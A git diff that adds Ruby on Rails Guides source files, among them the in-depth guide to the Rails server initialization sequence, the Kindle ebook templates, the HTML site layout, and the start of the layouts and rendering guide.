+<% content_for :header_section do %>
+<%= render 'welcome' %>
+<% end %>
+
+<% content_for :index_section do %>
+<div id="subCol">
+  <dl>
+    <dd class="kindle">Rails Guides are also available for <%= link_to 'Kindle', @mobi %>.</dd>
+    <dd class="work-in-progress">Guides marked with this icon are currently being worked on and will not be available in the Guides Index menu. While still useful, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections.</dd>
+  </dl>
+</div>
+<% end %>
+
+<% documents_by_section.each do |section| %>
+  <h3><%= section['name'] %></h3>
+  <dl>
+    <% section['documents'].each do |document| %>
+      <%= guide(document['name'], document['url'], work_in_progress: document['work_in_progress']) do %>
+        <p><%= document['description'] %></p>
+      <% end %>
+    <% end %>
+  </dl>
+<% end %>
diff --git a/guides/source/initialization.md b/guides/source/initialization.md
new file mode 100644
index 0000000..ec3cec5
--- /dev/null
+++ b/guides/source/initialization.md
@@ -0,0 +1,657 @@
+The Rails Initialization Process
+================================
+
+This guide explains the internals of the initialization process in Rails
+as of Rails 4. It is an extremely in-depth guide and recommended for advanced Rails developers.
+
+After reading this guide, you will know:
+
+* How to use `rails server`.
+* The timeline of Rails' initialization sequence.
+* Where different files are required by the boot sequence.
+* How the Rails::Server interface is defined and used.
+
+--------------------------------------------------------------------------------
+
+This guide goes through every method call that is
+required to boot up the Ruby on Rails stack for a default Rails 4
+application, explaining each part in detail along the way. For this
+guide, we will be focusing on what happens when you execute `rails server`
+to boot your app.
+
+NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified.
+
+TIP: If you want to follow along while browsing the Rails [source
+code](https://github.com/rails/rails), we recommend that you use the `t`
+key binding to open the file finder inside GitHub and find files
+quickly.
+
+Launch!
+-------
+
+Let's start to boot and initialize the app. A Rails application is usually
+started by running `rails console` or `rails server`.
+
+### `railties/bin/rails`
+
+The `rails` in the command `rails server` is a ruby executable in your load
+path. This executable contains the following lines:
+
+```ruby
+version = ">= 0"
+load Gem.bin_path('railties', 'rails', version)
+```
+
+If you try out this command in a Rails console, you would see that this loads
+`railties/bin/rails`. A part of the file `railties/bin/rails.rb` has the
+following code:
+
+```ruby
+require "rails/cli"
+```
+
+The file `railties/lib/rails/cli` in turn calls
+`Rails::AppRailsLoader.exec_app_rails`.
+
+### `railties/lib/rails/app_rails_loader.rb`
+
+The primary goal of the function `exec_app_rails` is to execute your app's
+`bin/rails`. If the current directory does not have a `bin/rails`, it will
+navigate upwards until it finds a `bin/rails` executable. Thus one can invoke a
+`rails` command from anywhere inside a rails application.
+
+For `rails server` the equivalent of the following command is executed:
+
+```bash
+$ exec ruby bin/rails server
+```
+
+### `bin/rails`
+
+This file is as follows:
+
+```ruby
+#!/usr/bin/env ruby
+APP_PATH = File.expand_path('../../config/application', __FILE__)
+require_relative '../config/boot'
+require 'rails/commands'
+```
+
+The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot` file referenced here is the `config/boot.rb` file in our application which is responsible for loading Bundler and setting it up.
+
+### `config/boot.rb`
+
+`config/boot.rb` contains:
+
+```ruby
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
+```
+
+In a standard Rails application, there's a `Gemfile` which declares all
+dependencies of the application. `config/boot.rb` sets
+`ENV['BUNDLE_GEMFILE']` to the location of this file. If the Gemfile
+exists, then `bundler/setup` is required. The require is used by Bundler to
+configure the load path for your Gemfile's dependencies.
+
+A standard Rails application depends on several gems, specifically:
+
+* abstract
+* actionmailer
+* actionpack
+* activemodel
+* activerecord
+* activesupport
+* arel
+* builder
+* bundler
+* erubis
+* i18n
+* mail
+* mime-types
+* polyglot
+* rack
+* rack-cache
+* rack-mount
+* rack-test
+* rails
+* railties
+* rake
+* sqlite3-ruby
+* thor
+* treetop
+* tzinfo
+
+### `rails/commands.rb`
+
+Once `config/boot.rb` has finished, the next file that is required is
+`rails/commands`, which helps in expanding aliases. In the current case, the
+`ARGV` array simply contains `server` which will be passed over:
+
+```ruby
+ARGV << '--help' if ARGV.empty?
+
+aliases = {
+  "g"  => "generate",
+  "d"  => "destroy",
+  "c"  => "console",
+  "s"  => "server",
+  "db" => "dbconsole",
+  "r"  => "runner"
+}
+
+command = ARGV.shift
+command = aliases[command] || command
+
+require 'rails/commands/commands_tasks'
+
+Rails::CommandsTasks.new(ARGV).run_command!(command)
+```
+
+TIP: As you can see, an empty ARGV list will make Rails show the help
+snippet.
+
+If we had used `s` rather than `server`, Rails would have used the `aliases`
+defined here to find the matching command.
+
+### `rails/commands/command_tasks.rb`
+
+When one types an incorrect rails command, the `run_command` is responsible for
+throwing an error message. If the command is valid, a method of the same name
+is called.
+
+```ruby
+COMMAND_WHITELIST = %(plugin generate destroy console server dbconsole application runner new version help)
+
+def run_command!(command)
+  if COMMAND_WHITELIST.include?(command)
+    send(command)
+  else
+    write_error_message(command)
+  end
+end
+```
+
+With the `server` command, Rails will further run the following code:
+
+```ruby
+def set_application_directory!
+  Dir.chdir(File.expand_path('../../', APP_PATH)) unless
+  File.exist?(File.expand_path("config.ru"))
+end
+
+def server
+  set_application_directory!
+  require_command!("server")
+
+  Rails::Server.new.tap do |server|
+    require APP_PATH
+    Dir.chdir(Rails.application.root)
+    server.start
+  end
+end
+
+def require_command!(command)
+  require "rails/commands/#{command}"
+end
+```
+
+This file will change into the Rails root directory (a path two directories up
+from `APP_PATH` which points at `config/application.rb`), but only if the
+`config.ru` file isn't found. This then requires `rails/commands/server` which
+sets up the `Rails::Server` class.
+
+```ruby
+require 'fileutils'
+require 'optparse'
+require 'action_dispatch'
+
+module Rails
+  class Server < ::Rack::Server
+```
+
+`fileutils` and `optparse` are standard Ruby libraries which provide helper functions for working with files and parsing options.
+
+### `actionpack/lib/action_dispatch.rb`
+
+Action Dispatch is the routing component of the Rails framework.
+It adds functionality like routing, session, and common middlewares.
+
+### `rails/commands/server.rb`
+
+The `Rails::Server` class is defined in this file by inheriting from `Rack::Server`. When `Rails::Server.new` is called, this calls the `initialize` method in `rails/commands/server.rb`:
+
+```ruby
+def initialize(*)
+  super
+  set_environment
+end
+```
+
+Firstly, `super` is called which calls the `initialize` method on `Rack::Server`.
+
+### Rack: `lib/rack/server.rb`
+
+`Rack::Server` is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.
+
+The `initialize` method in `Rack::Server` simply sets a couple of variables:
+
+```ruby
+def initialize(options = nil)
+  @options = options
+  @app = options[:app] if options && options[:app]
+end
+```
+
+In this case, `options` will be `nil` so nothing happens in this method.
+
+After `super` has finished in `Rack::Server`, we jump back to `rails/commands/server.rb`. At this point, `set_environment` is called within the context of the `Rails::Server` object and this method doesn't appear to do much at first glance:
+
+```ruby
+def set_environment
+  ENV["RAILS_ENV"] ||= options[:environment]
+end
+```
+
+In fact, the `options` method here does quite a lot. This method is defined in `Rack::Server` like this:
+
+```ruby
+def options
+  @options ||= parse_options(ARGV)
+end
+```
+
+Then `parse_options` is defined like this:
+
+```ruby
+def parse_options(args)
+  options = default_options
+
+  # Don't evaluate CGI ISINDEX parameters.
+  # http://www.meb.uni-bonn.de/docs/cgi/cl.html
+  args.clear if ENV.include?("REQUEST_METHOD")
+
+  options.merge! opt_parser.parse! args
+  options[:config] = ::File.expand_path(options[:config])
+  ENV["RACK_ENV"] = options[:environment]
+  options
+end
+```
+
+With the `default_options` set to this:
+
+```ruby
+def default_options
+  {
+    environment: ENV['RACK_ENV'] || "development",
+    pid:         nil,
+    Port:        9292,
+    Host:        "0.0.0.0",
+    AccessLog:   [],
+    config:      "config.ru"
+  }
+end
+```
+
+There is no `REQUEST_METHOD` key in `ENV` so we can skip over that line. The next line merges in the options from `opt_parser` which is defined plainly in `Rack::Server`
+
+```ruby
+def opt_parser
+  Options.new
+end
+```
+
+The class **is** defined in `Rack::Server`, but is overwritten in `Rails::Server` to take different arguments. Its `parse!` method begins like this:
+
+```ruby
+def parse!(args)
+  args, options = args.dup, {}
+
+  opt_parser = OptionParser.new do |opts|
+    opts.banner = "Usage: rails server [mongrel, thin, etc] [options]"
+    opts.on("-p", "--port=port", Integer,
+            "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
+  ...
+```
+
+This method will set up keys for the `options` which Rails will then be
+able to use to determine how its server should run. After `initialize`
+has finished, we jump back into `rails/server` where `APP_PATH` (which was
+set earlier) is required.
+
+### `config/application`
+
+When `require APP_PATH` is executed, `config/application.rb` is loaded (recall
+that `APP_PATH` is defined in `bin/rails`). This file exists in your application
+and it's free for you to change based on your needs.
+
+### `Rails::Server#start`
+
+After `config/application` is loaded, `server.start` is called. This method is
+defined like this:
+
+```ruby
+def start
+  print_boot_information
+  trap(:INT) { exit }
+  create_tmp_directories
+  log_to_stdout if options[:log_stdout]
+
+  super
+  ...
+end
+
+private
+
+  def print_boot_information
+    ...
+    puts "=> Run `rails server -h` for more startup options"
+    puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
+  end
+
+  def create_tmp_directories
+    %w(cache pids sessions sockets).each do |dir_to_make|
+      FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
+    end
+  end
+
+  def log_to_stdout
+    wrapped_app # touch the app so the logger is set up
+
+    console = ActiveSupport::Logger.new($stdout)
+    console.formatter = Rails.logger.formatter
+    console.level = Rails.logger.level
+
+    Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
+  end
+```
+
+This is where the first output of the Rails initialization happens. This
+method creates a trap for `INT` signals, so if you `CTRL-C` the server,
+it will exit the process. As we can see from the code here, it will
+create the `tmp/cache`, `tmp/pids`, `tmp/sessions` and `tmp/sockets`
+directories. It then calls `wrapped_app` which is responsible for
+creating the Rack app, before creating and assigning an
+instance of `ActiveSupport::Logger`.
+
+The `super` method will call `Rack::Server.start` which begins its definition like this:
+
+```ruby
+def start &blk
+  if options[:warn]
+    $-w = true
+  end
+
+  if includes = options[:include]
+    $LOAD_PATH.unshift(*includes)
+  end
+
+  if library = options[:require]
+    require library
+  end
+
+  if options[:debug]
+    $DEBUG = true
+    require 'pp'
+    p options[:server]
+    pp wrapped_app
+    pp app
+  end
+
+  check_pid! if options[:pid]
+
+  # Touch the wrapped app, so that the config.ru is loaded before
+  # daemonization (i.e. before chdir, etc).
+  wrapped_app
+
+  daemonize_app if options[:daemonize]
+
+  write_pid if options[:pid]
+
+  trap(:INT) do
+    if server.respond_to?(:shutdown)
+      server.shutdown
+    else
+      exit
+    end
+  end
+
+  server.run wrapped_app, options, &blk
+end
+```
+
+The interesting part for a Rails app is the last line, `server.run`. Here we encounter the `wrapped_app` method again, which this time
+we're going to explore more (even though it was executed before, and
+thus memoized by now).
+
+```ruby
+ at wrapped_app ||= build_app app
+```
+
+The `app` method here is defined like so:
+
+```ruby
+def app
+  @app ||= begin
+    if !::File.exist? options[:config]
+      abort "configuration #{options[:config]} not found"
+    end
+
+    app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+    self.options.merge! options
+    app
+  end
+end
+```
+
+The `options[:config]` value defaults to `config.ru` which contains this:
+
+```ruby
+# This file is used by Rack-based servers to start the application.
+
+require ::File.expand_path('../config/environment', __FILE__)
+run <%= app_const %>
+```
+
+
+The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code:
+
+```ruby
+app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app",
+    TOPLEVEL_BINDING, config
+```
+
+The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The `require` line for `config/environment.rb` in `config.ru` is the first to run:
+
+```ruby
+require ::File.expand_path('../config/environment', __FILE__)
+```
+
+### `config/environment.rb`
+
+This file is the common file required by `config.ru` (`rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.
+
+This file begins with requiring `config/application.rb`.
+
+### `config/application.rb`
+
+This file requires `config/boot.rb`, but only if it hasn't been required before, which would be the case in `rails server` but **wouldn't** be the case with Passenger.
+
+Then the fun begins!
+
+Loading Rails
+-------------
+
+The next line in `config/application.rb` is:
+
+```ruby
+require 'rails/all'
+```
+
+### `railties/lib/rails/all.rb`
+
+This file is responsible for requiring all the individual frameworks of Rails:
+
+```ruby
+require "rails"
+
+%w(
+    active_record
+    action_controller
+    action_mailer
+    rails/test_unit
+    sprockets
+).each do |framework|
+  begin
+    require "#{framework}/railtie"
+  rescue LoadError
+  end
+end
+```
+
+This is where all the Rails frameworks are loaded and thus made
+available to the application. We won't go into detail of what happens
+inside each of those frameworks, but you're encouraged to try and
+explore them on your own.
+
+For now, just keep in mind that common functionality like Rails engines,
+I18n and Rails configuration are all being defined here.
+
+### Back to `config/environment.rb`
+
+The rest of `config/application.rb` defines the configuration for the
+`Rails::Application` which will be used once the application is fully
+initialized. When `config/application.rb` has finished loading Rails and defined
+the application namespace, we go back to `config/environment.rb`,
+where the application is initialized. For example, if the application was called
+`Blog`, here we would find `Blog::Application.initialize!`, which is
+defined in `rails/application.rb`
+
+### `railties/lib/rails/application.rb`
+
+The `initialize!` method looks like this:
+
+```ruby
+def initialize!(group=:default) #:nodoc:
+  raise "Application has been already initialized." if @initialized
+  run_initializers(group, self)
+  @initialized = true
+  self
+end
+```
+
+As you can see, you can only initialize an app once. The initializers are run through
+the `run_initializers` method which is defined in `railties/lib/rails/initializable.rb`
+
+```ruby
+def run_initializers(group=:default, *args)
+  return if instance_variable_defined?(:@ran)
+  initializers.tsort_each do |initializer|
+    initializer.run(*args) if initializer.belongs_to?(group)
+  end
+  @ran = true
+end
+```
+
+The run_initializers code itself is tricky. What Rails is doing here is
+traversing all the class ancestors looking for those that respond to an
+`initializers` method. It then sorts the ancestors by name, and runs them.
+For example, the `Engine` class will make all the engines available by
+providing an `initializers` method on them.
+
+The `Rails::Application` class, as defined in `railties/lib/rails/application.rb`
+defines `bootstrap`, `railtie`, and `finisher` initializers. The `bootstrap` initializers
+prepare the application (like initializing the logger) while the `finisher`
+initializers (like building the middleware stack) are run last. The `railtie`
+initializers are the initializers which have been defined on the `Rails::Application`
+itself and are run between the `bootstrap` and `finishers`.
+
+After this is done we go back to `Rack::Server`
+
+### Rack: lib/rack/server.rb
+
+Last time we left when the `app` method was being defined:
+
+```ruby
+def app
+  @app ||= begin
+    if !::File.exist? options[:config]
+      abort "configuration #{options[:config]} not found"
+    end
+
+    app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+    self.options.merge! options
+    app
+  end
+end
+```
+
+At this point `app` is the Rails app itself (a middleware), and what
+happens next is Rack will call all the provided middlewares:
+
+```ruby
+def build_app(app)
+  middleware[options[:environment]].reverse_each do |middleware|
+    middleware = middleware.call(self) if middleware.respond_to?(:call)
+    next unless middleware
+    klass = middleware.shift
+    app = klass.new(app, *middleware)
+  end
+  app
+end
+```
+
+Remember, `build_app` was called (by wrapped_app) in the last line of `Server#start`.
+Here's how it looked like when we left:
+
+```ruby
+server.run wrapped_app, options, &blk
+```
+
+At this point, the implementation of `server.run` will depend on the
+server you're using. For example, if you were using Mongrel, here's what
+the `run` method would look like:
+
+```ruby
+def self.run(app, options={})
+  server = ::Mongrel::HttpServer.new(
+    options[:Host]           || '0.0.0.0',
+    options[:Port]           || 8080,
+    options[:num_processors] || 950,
+    options[:throttle]       || 0,
+    options[:timeout]        || 60)
+  # Acts like Rack::URLMap, utilizing Mongrel's own path finding methods.
+  # Use is similar to #run, replacing the app argument with a hash of
+  # { path=>app, ... } or an instance of Rack::URLMap.
+  if options[:map]
+    if app.is_a? Hash
+      app.each do |path, appl|
+        path = '/'+path unless path[0] == ?/
+        server.register(path, Rack::Handler::Mongrel.new(appl))
+      end
+    elsif app.is_a? URLMap
+      app.instance_variable_get(:@mapping).each do |(host, path, appl)|
+       next if !host.nil? && !options[:Host].nil? && options[:Host] != host
+       path = '/'+path unless path[0] == ?/
+       server.register(path, Rack::Handler::Mongrel.new(appl))
+      end
+    else
+      raise ArgumentError, "first argument should be a Hash or URLMap"
+    end
+  else
+    server.register('/', Rack::Handler::Mongrel.new(app))
+  end
+  yield server if block_given?
+  server.run.join
+end
+```
+
+We won't dig into the server configuration itself, but this is
+the last piece of our journey in the Rails initialization process.
+
+This high level overview will help you understand when your code is
+executed and how, and overall become a better Rails developer. If you
+still want to know more, the Rails source code itself is probably the
+best place to go next.
diff --git a/guides/source/kindle/copyright.html.erb b/guides/source/kindle/copyright.html.erb
new file mode 100644
index 0000000..bd51d87
--- /dev/null
+++ b/guides/source/kindle/copyright.html.erb
@@ -0,0 +1 @@
+<%= render 'license' %>
\ No newline at end of file
diff --git a/guides/source/kindle/layout.html.erb b/guides/source/kindle/layout.html.erb
new file mode 100644
index 0000000..f0a2862
--- /dev/null
+++ b/guides/source/kindle/layout.html.erb
@@ -0,0 +1,27 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/kindle.css" />
+
+</head>
+<body class="guide">
+
+  <% if content_for? :header_section %>
+    <%= yield :header_section %>
+    <div class="pagebreak">
+  <% end %>
+
+  <% if content_for? :index_section %>
+    <%= yield :index_section %>
+    <div class="pagebreak">
+  <% end %>
+
+  <%= yield.html_safe %>
+</body>
+</html>
diff --git a/guides/source/kindle/rails_guides.opf.erb b/guides/source/kindle/rails_guides.opf.erb
new file mode 100644
index 0000000..547abcb
--- /dev/null
+++ b/guides/source/kindle/rails_guides.opf.erb
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<package xmlns="http://www.idpf.org/2007/opf" version="2.0" unique-identifier="RailsGuides">
+<metadata>
+  <meta name="cover" content="cover" />
+  <dc-metadata xmlns:dc="http://purl.org/dc/elements/1.1/">
+
+  	<dc:title>Ruby on Rails Guides (<%= @version %>)</dc:title>
+
+  	<dc:language>en-us</dc:language>
+  	<dc:creator>Ruby on Rails</dc:creator>
+  	<dc:publisher>Ruby on Rails</dc:publisher>
+  	<dc:subject>Reference</dc:subject>
+  	<dc:date><%= Time.now.strftime('%Y-%m-%d') %></dc:date>
+
+    <dc:description>These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.</dc:description>
+  </dc-metadata>
+  <x-metadata>
+    <output content-type="application/x-mobipocket-subscription-magazine" encoding="utf-8"/>
+  </x-metadata>
+</metadata>
+
+<manifest>
+  <!-- HTML content files [mandatory] -->
+  <% documents_flat.each do |document| %>
+    <item id="<%= document['url'] %>" media-type="text/html" href="<%= document['url'] %>" />
+  <% end %>
+
+  <% %w{toc.html credits.html welcome.html copyright.html}.each do |url| %>
+    <item id="<%= url %>" media-type="text/html" href="<%= url %>" />
+  <% end %>
+
+  <item id="toc" media-type="application/x-dtbncx+xml" href="toc.ncx" />
+
+  <item id="cover" media-type="image/jpg" href="images/rails_guides_kindle_cover.jpg"/>
+</manifest>
+
+<spine toc="toc">
+  <itemref idref="toc.html" />
+  <itemref idref="welcome.html" />
+  <itemref idref="credits.html" />
+  <itemref idref="copyright.html" />
+  <% documents_flat.each do |document| %>
+    <itemref idref="<%= document['url'] %>" />
+  <% end %>
+</spine>
+
+<guide>
+	<reference type="toc" title="Table of Contents" href="toc.html"></reference>
+</guide>
+
+</package>
diff --git a/guides/source/kindle/toc.html.erb b/guides/source/kindle/toc.html.erb
new file mode 100644
index 0000000..f310edd
--- /dev/null
+++ b/guides/source/kindle/toc.html.erb
@@ -0,0 +1,24 @@
+<% content_for :page_title do %>
+Ruby on Rails Guides
+<% end %>
+
+<h1>Table of Contents</h1>
+<div id="toc">
+  <ul><li><a href="welcome.html">Welcome</a></li></ul>
+<% documents_by_section.each_with_index do |section, i| %>
+  <h3><%= "#{i + 1}." %> <%= section['name'] %></h3>
+  <ul>
+    <% section['documents'].each do |document| %>
+      <li>
+        <a href="<%= document['url'] %>"><%= document['name'] %></a>
+        <% if document['work_in_progress']%>(WIP)<% end %>
+      </li>
+    <% end %>
+  </ul>  
+<% end %>
+<hr />
+<ul>
+  <li><a href="credits.html">Credits</a></li>
+  <li><a href="copyright.html">Copyright & License</a></li>
+</ul>
+</div>
diff --git a/guides/source/kindle/toc.ncx.erb b/guides/source/kindle/toc.ncx.erb
new file mode 100644
index 0000000..2c6d8e3
--- /dev/null
+++ b/guides/source/kindle/toc.ncx.erb
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE ncx PUBLIC "-//NISO//DTD ncx 2005-1//EN"
+	"http://www.daisy.org/z3986/2005/ncx-2005-1.dtd">
+
+<ncx xmlns="http://www.daisy.org/z3986/2005/ncx/" version="2005-1" xml:lang="en-US">
+<head>
+  <meta name="dtb:uid" content="RailsGuides"/>
+  <meta name="dtb:depth" content="2"/>
+  <meta name="dtb:totalPageCount" content="0"/>
+  <meta name="dtb:maxPageNumber" content="0"/>
+</head>
+<docTitle><text>Ruby on Rails Guides</text></docTitle>
+<docAuthor><text>docrails</text></docAuthor>
+<navMap>
+  <navPoint playOrder="0" class="periodical" id="periodical">
+    <navLabel>
+      <text>Table of Contents</text>
+    </navLabel>
+    <content src="toc.html"/>
+
+    <navPoint class="section" id="welcome" playOrder="1">
+      <navLabel>
+        <text>Introduction</text>
+      </navLabel>
+      <content src="welcome.html"/>
+
+      <navPoint class="article" id="welcome" playOrder="2">
+        <navLabel>
+          <text>Welcome</text>
+        </navLabel>
+        <content src="welcome.html"/>
+      </navPoint>
+      <navPoint class="article" id="credits" playOrder="3">
+        <navLabel><text>Credits</text></navLabel>
+        <content src="credits.html">
+      </navPoint>
+      <navPoint class="article" id="copyright" playOrder="4">
+        <navLabel><text>Copyright & License</text></navLabel>
+        <content src="copyright.html">
+      </navPoint> 
+    </navPoint>
+
+    <% play_order = 4 %>
+    <% documents_by_section.each_with_index do |section, section_no| %>
+      <navPoint class="section" id="chapter_<%= section_no + 1 %>" playOrder="<% play_order +=1 %>">
+        <navLabel>
+          <text><%= section['name'] %></text>
+        </navLabel>
+        <content src="<%=section['documents'].first['url'] %>"/>
+        
+        <% section['documents'].each_with_index do |document, document_no| %>
+          <navPoint class="article" id="_<%=section_no+1%>.<%=document_no+1%>" playOrder="<%=play_order +=1 %>">
+            <navLabel>
+              <text><%= document['name'] %></text>
+            </navLabel>
+            <content src="<%=document['url'] %>"/>
+          </navPoint>
+        <% end %>
+      </navPoint>
+    <% end %>
+
+  </navPoint>
+</navMap>
+</ncx>
diff --git a/guides/source/kindle/welcome.html.erb b/guides/source/kindle/welcome.html.erb
new file mode 100644
index 0000000..610a715
--- /dev/null
+++ b/guides/source/kindle/welcome.html.erb
@@ -0,0 +1,5 @@
+<%= render 'welcome' %>
+
+<h3>Kindle Edition</h3>
+
+The Kindle Edition of the Rails Guides should be considered a work in progress. Feedback is really welcome. Please see the "Feedback" section at the end of each guide for instructions.
diff --git a/guides/source/layout.html.erb b/guides/source/layout.html.erb
new file mode 100644
index 0000000..1ac4e7f
--- /dev/null
+++ b/guides/source/layout.html.erb
@@ -0,0 +1,146 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+<meta name="viewport" content="width=device-width, initial-scale=1"/>
+
+<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/fixes.css" />
+
+<link href="images/favicon.ico" rel="shortcut icon" type="image/x-icon" />
+</head>
+<body class="guide">
+  <% if @edge %>
+  <div>
+    <img src="images/edge_badge.png" alt="edge-badge" id="edge-badge" />
+  </div>
+  <% end %>
+  <div id="topNav">
+    <div class="wrapper">
+      <strong class="more-info-label">More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <span class="red-button more-info-button">
+        More Ruby on Rails
+      </span>
+      <ul class="more-info-links s-hidden">
+        <li class="more-info"><a href="http://rubyonrails.org/">Overview</a></li>
+        <li class="more-info"><a href="http://rubyonrails.org/download">Download</a></li>
+        <li class="more-info"><a href="http://rubyonrails.org/deploy">Deploy</a></li>
+        <li class="more-info"><a href="https://github.com/rails/rails">Code</a></li>
+        <li class="more-info"><a href="http://rubyonrails.org/screencasts">Screencasts</a></li>
+        <li class="more-info"><a href="http://rubyonrails.org/documentation">Documentation</a></li>
+        <li class="more-info"><a href="http://rubyonrails.org/ecosystem">Ecosystem</a></li>
+        <li class="more-info"><a href="http://rubyonrails.org/community">Community</a></li>
+        <li class="more-info"><a href="http://weblog.rubyonrails.org/">Blog</a></li>
+      </ul>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <ul class="nav">
+        <li><a class="nav-item" href="index.html">Home</a></li>
+        <li class="guides-index guides-index-large">
+          <a href="index.html" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <% ['L', 'R'].each do |position| %>
+              <dl class="<%= position %>">
+              <% docs_for_menu(position).each do |section| %>
+                <dt><%= section['name'] %></dt>
+                <% finished_documents(section['documents']).each do |document| %>
+                <dd><a href="<%= document['url'] %>"><%= document['name'] %></a></dd>
+                <% end %>
+              <% end %>
+              </dl>
+            <% end %>
+          </div>
+        </li>
+        <li><a class="nav-item" href="contributing_to_ruby_on_rails.html">Contribute</a></li>
+        <li><a class="nav-item" href="credits.html">Credits</a></li>
+        <li class="guides-index guides-index-small">
+          <select class="guides-index-item nav-item">
+            <option value="index.html">Guides Index</option>
+            <% docs_for_menu.each do |section| %>
+              <optgroup label="<%= section['name'] %>">
+                <% finished_documents(section['documents']).each do |document| %>
+                  <option value="<%= document['url'] %>"><%= document['name'] %></option>
+                <% end %>
+              </optgroup>
+            <% end %>
+          </select>
+        </li>
+      </ul>
+      </div>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <%= yield :header_section %>
+
+      <%= yield :index_section %>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <%= yield.html_safe %>
+
+        <h3>Feedback</h3>
+        <p>
+          You're encouraged to help improve the quality of this guide.
+        </p>
+        <p>
+          Please contribute if you see any typos or factual errors.
+          To get started, you can read our <%= link_to 'documentation contributions', 'http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation' %> section.
+        </p>
+        <p>
+          You may also find incomplete content, or stuff that is not up to date.
+          Please do add any missing documentation for master. Make sure to check
+          <%= link_to 'Edge Guides','http://edgeguides.rubyonrails.org' %> first to verify
+          if the issues are already fixed or not on the master branch.
+          Check the <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %>
+          for style and conventions.
+        </p>
+        <p>
+          If for whatever reason you spot something to fix but cannot patch it yourself, please
+          <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>.
+        </p>
+        <p>And last but not least, any kind of discussion regarding Ruby on Rails
+          documentation is very welcome in the <%= link_to 'rubyonrails-docs mailing list', 'http://groups.google.com/group/rubyonrails-docs' %>.
+        </p>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <%= render 'license' %>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/jquery.min.js"></script>
+  <script type="text/javascript" src="javascripts/responsive-tables.js"></script>
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all();
+    $(guidesIndex.bind);
+  </script>
+</body>
+</html>
diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md
new file mode 100644
index 0000000..bd33c5a
--- /dev/null
+++ b/guides/source/layouts_and_rendering.md
@@ -0,0 +1,1226 @@
+Layouts and Rendering in Rails
+==============================
+
+This guide covers the basic layout features of Action Controller and Action View.
+
+After reading this guide, you will know:
+
+* How to use the various rendering methods built into Rails.
+* How to create layouts with multiple content sections.
+* How to use partials to DRY up your views.
+* How to use nested layouts (sub-templates).
+
+--------------------------------------------------------------------------------
+
+Overview: How the Pieces Fit Together
+-------------------------------------
+
+This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.
+
